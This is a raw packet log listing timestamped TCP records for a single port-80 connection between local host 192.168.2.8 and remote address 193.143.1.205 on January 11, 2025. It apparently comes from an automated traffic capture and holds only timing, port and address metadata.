Jan 11, 2025 04:17:19.108287096 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.108299971 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.108310938 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.108339071 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.108448982 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.108496904 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.110137939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.142230034 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.142251015 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.142266989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.142353058 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.171340942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171360970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171376944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171420097 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.171493053 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.171669006 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171685934 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171700954 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171716928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171734095 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.171760082 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.171809912 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171824932 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171840906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.171896935 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.185154915 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.185173035 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.185189962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.185254097 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.185313940 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.185328960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.185426950 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.185426950 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.198657036 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198673964 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198715925 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.198725939 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198806047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198822975 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198847055 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.198966026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198982000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.198998928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.199004889 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.199034929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.199085951 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.199103117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.199126005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.199146986 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213475943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213495016 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213511944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213527918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213530064 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213558912 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213573933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213592052 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213615894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213752985 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213776112 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213792086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213803053 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213809013 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213833094 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213877916 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213934898 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.213943005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.213959932 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214001894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214026928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214060068 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214098930 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214179039 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214195967 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214210987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214246035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214335918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214354038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214379072 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214409113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214426994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214443922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214458942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214493990 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214622021 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214637995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214653969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214670897 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214677095 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214689970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214706898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214715004 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214750051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.214948893 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214966059 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.214981079 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215014935 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215086937 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215102911 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215117931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215126991 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215136051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215158939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215379000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215395927 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215410948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215423107 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215426922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215445042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215452909 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215460062 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215486050 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215652943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215668917 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215684891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215698957 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215702057 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215720892 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215734005 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215765953 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.215951920 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215966940 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215981960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.215997934 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.216012955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.216015100 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.216031075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.216038942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.216085911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.216166973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.216187000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.216237068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.218590975 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218664885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218703032 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218717098 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.218738079 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218772888 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218796015 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.218827009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218863010 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218872070 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.218897104 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218930960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218941927 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.218965054 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.218998909 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219006062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219033003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219067097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219079018 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219101906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219136000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219149113 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219187021 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219222069 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219233036 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219255924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219305992 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219342947 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219373941 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219419003 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219424009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219477892 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219511032 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219526052 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219546080 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219579935 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219602108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.219613075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219662905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.219674110 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.223539114 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.234508038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234569073 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234580994 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.234601021 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234652996 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234667063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.234688997 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234731913 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.234774113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234808922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234843016 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.234852076 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.249408007 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.253930092 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.262850046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.262902975 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.262907028 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.262943983 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.262991905 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.263035059 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263083935 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263117075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263125896 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.263151884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263185978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263197899 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.263308048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263360023 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263364077 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.263396025 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263430119 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263437986 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.263484955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263520002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.263530970 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.264105082 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.269068003 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.278551102 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278601885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278625011 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.278635979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278671026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278704882 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278750896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278800011 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278835058 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.278879881 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.278879881 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.278879881 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.281347036 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.303181887 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303217888 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303234100 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.303252935 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303303957 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.303306103 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303359032 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303390980 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303404093 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.303467989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303498030 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303513050 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.303530931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.303572893 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.305835962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.305891037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.305922031 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.305955887 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.305989027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306083918 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306083918 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306117058 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306149960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306164980 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306204081 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306236029 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306256056 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306271076 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306303024 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306314945 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306340933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306386948 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306426048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306458950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306493044 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306508064 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306524038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306556940 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306580067 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306591034 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306637049 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306715965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306749105 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306782961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306793928 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306864977 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306896925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306912899 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.306931019 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306967020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.306977034 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307110071 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307142973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307157040 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307178020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307220936 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307271004 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307306051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307360888 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307384968 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307419062 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307452917 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307466030 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307488918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307522058 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307532072 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307555914 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307590008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307600975 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307622910 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307657957 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307667971 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307871103 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307904959 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307919979 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.307955980 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.307990074 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308000088 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308024883 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308059931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308072090 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308346987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308379889 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308402061 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308413982 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308446884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308466911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308480978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308514118 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308531046 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308551073 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308579922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308588982 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308614969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308646917 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308656931 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308681965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308717966 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308722019 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308751106 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308784962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308795929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308818102 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308852911 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308861017 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.308887959 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308928967 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.308960915 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.309077978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.309112072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.309122086 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.309160948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.309205055 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.310489893 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319282055 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319392920 CET	80	49707	193.143.1.205	192.168.2.8
